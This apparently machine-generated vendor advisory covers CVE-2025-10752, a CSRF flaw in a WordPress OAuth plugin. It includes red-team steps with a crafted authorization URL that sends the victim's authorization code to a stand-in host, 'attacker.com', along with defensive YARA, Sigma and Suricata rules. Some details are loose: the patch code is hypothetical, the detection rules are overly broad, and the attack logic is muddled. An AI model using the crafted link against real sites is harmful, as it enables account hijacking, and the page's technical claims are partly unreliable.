CVE-2025-10752
Executive Summary
CVE-2025-10752 is a Cross-Site Request Forgery (CSRF) vulnerability in the Miniorange OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress, affecting all versions up to and including 6.26.12. The vulnerability stems from the use of a predictable state parameter in the OAuth authorization flow, which is a base64-encoded application name without any cryptographic randomness. This allows an unauthenticated attacker to forge OAuth authorization requests and potentially hijack the OAuth flow, provided they can trick a site administrator into clicking a malicious link.
The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx. The plugin is widely used for integrating OAuth-based single sign-on (SSO) into WordPress sites, making this a significant supply chain risk for organizations relying on this plugin for authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the Miniorange OAuth Client plugin is potentially exposed. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component in the WordPress ecosystem. Organizations should audit their WordPress installations for this plugin and apply any available patches or mitigations immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin click)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the potential for OAuth flow hijacking could lead to unauthorized access to user accounts or data, depending on the OAuth provider and scopes configured.
Deep Dive & Mechanics
The vulnerability lies in the OAuth authorization request generation within the Miniorange OAuth Client plugin. During the OAuth flow, the plugin generates a state parameter to prevent CSRF attacks. However, the implementation uses a predictable value: a base64-encoded version of the OAuth application name (e.g., base64_encode("MyAppName")). This value is static for a given application configuration and does not include any random nonce or timestamp.
An attacker can:
- Identify the OAuth application name (e.g., via directory enumeration or plugin configuration leaks).
- Compute the predictable
statevalue. - Craft a malicious link that initiates an OAuth authorization request with the attacker's own OAuth client credentials and the forged
state. - Trick a site administrator into clicking the link, which triggers the OAuth flow.
- The plugin, upon receiving the response, validates the
stateparameter against the predictable value, allowing the attacker to hijack the OAuth flow and potentially link the administrator's account to the attacker's OAuth provider.
The attack does not require authentication, but it does require user interaction (the admin clicking a link). The impact is limited to integrity (modification of OAuth associations) but could be escalated if the OAuth provider grants broad scopes.
Vulnerable vs. Patched Code
Vulnerable Code (<= 6.26.12):
The vulnerable code is typically found in the plugin's OAuth client class, where the state parameter is generated. A simplified example:
// Vulnerable: state is base64 of app name
$state = base64_encode($app_name);
$authorization_url = "https://oauth.provider.com/auth?response_type=code&client_id=$client_id&redirect_uri=$redirect_uri&state=$state";
Patched Code (Hypothetical):
A patched version would include a random nonce or token in the state parameter, stored in a session or transient for validation:
// Patched: state includes random nonce
$nonce = wp_generate_password(32, false);
set_transient('oauth_state_' . $nonce, $app_name, 300);
$state = base64_encode($app_name . '|' . $nonce);
$authorization_url = "https://oauth.provider.com/auth?response_type=code&client_id=$client_id&redirect_uri=$redirect_uri&state=$state";
The patched version ensures that the state is unpredictable and tied to a specific session, preventing CSRF attacks.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Miniorange OAuth Client plugin (<= 6.26.12) installed and configured with an OAuth provider.
- Knowledge of the OAuth application name (e.g., "MyApp").
Exploitation Steps:
- Identify the OAuth application name. This can be done by inspecting the plugin's settings page (if accessible) or by analyzing the OAuth flow in the browser's developer tools.
- Compute the predictable
statevalue:echo -n "MyApp" | base64 # Output: TXlBcHA= - Craft a malicious OAuth authorization URL using the attacker's own OAuth client credentials (client_id, redirect_uri) and the forged
state:https://oauth.provider.com/auth?response_type=code&client_id=attacker_client_id&redirect_uri=https://attacker.com/callback&state=TXlBcHA= - Send the link to a site administrator (e.g., via email or social engineering).
- When the admin clicks the link and authorizes the OAuth app, the attacker's callback receives the authorization code.
- The attacker exchanges the code for tokens and potentially links the admin's account to the attacker's OAuth provider.
Note: No public exploit code is available from Exploit-DB at this time.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual OAuth authorization requests with predictable
stateparameters (e.g., base64-encoded strings that match known application names). - Alert on multiple failed OAuth attempts from the same IP or user agent.
- Use the detection rules provided in the Detection Engineering section.
Defense:
- Immediately update the plugin if a patched version becomes available.
- If no patch is available, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to block requests with suspicious
stateparameters. - Educate administrators about phishing attacks that trick them into clicking OAuth authorization links.
- Implement additional CSRF protections at the WordPress level (e.g., nonce checks).
Indicators of Compromise (IOCs)
- Network IOCs:
- OAuth authorization requests containing a
stateparameter that is a base64-encoded string matching a known application name (e.g.,state=TXlBcHA=). - Callback requests to attacker-controlled domains (e.g.,
https://attacker.com/callback?code=...).
- OAuth authorization requests containing a
- File IOCs:
- Presence of the Miniorange OAuth Client plugin version <= 6.26.12 in
/wp-content/plugins/miniorange-oauth-client/.
- Presence of the Miniorange OAuth Client plugin version <= 6.26.12 in
- Log IOCs:
- WordPress debug logs showing unexpected OAuth flow errors or state mismatches.
- Web server logs showing requests to OAuth provider URLs with unusual
stateparameters.
Detection Engineering
YARA Rule
rule Detect_Miniorange_OAuth_CSRF_State {
meta:
description = "Detects predictable state parameter in Miniorange OAuth Client plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-10752"
strings:
$state_param = /state=[A-Za-z0-9+\/=]{1,100}/ nocase
$plugin_path = "miniorange-oauth-client"
condition:
$plugin_path and #state_param > 0
}
Sigma Rule
title: Miniorange OAuth Client CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-10752 by using predictable state parameters in OAuth flows.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'state='
cs-uri-query|re: 'state=[A-Za-z0-9+\/=]{1,100}'
condition: selection
falsepositives:
- Legitimate OAuth flows with base64-encoded state (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10752 Miniorange OAuth Client CSRF Exploitation"; flow:to_server; content:"GET"; http_method; content:"state="; http_uri; pcre:"/state=[A-Za-z0-9+\/=]{1,100}/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version is released, update to the latest version immediately.
- Disable the plugin: If no patch is available, disable the Miniorange OAuth Client plugin until a fix is applied.
- Implement WAF rules: Use the Suricata rule above or create custom WAF rules to block requests with suspicious
stateparameters.
Long-term Mitigations:
- Enforce the use of random nonces in all OAuth flows.
- Conduct a security audit of all WordPress plugins for similar CSRF vulnerabilities.
- Implement Content Security Policy (CSP) headers to reduce the impact of social engineering attacks.
- Educate users and administrators about phishing and social engineering risks.
Patch Status: UNKNOWN / UNPATCHED. Monitor the plugin's official page for updates.
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.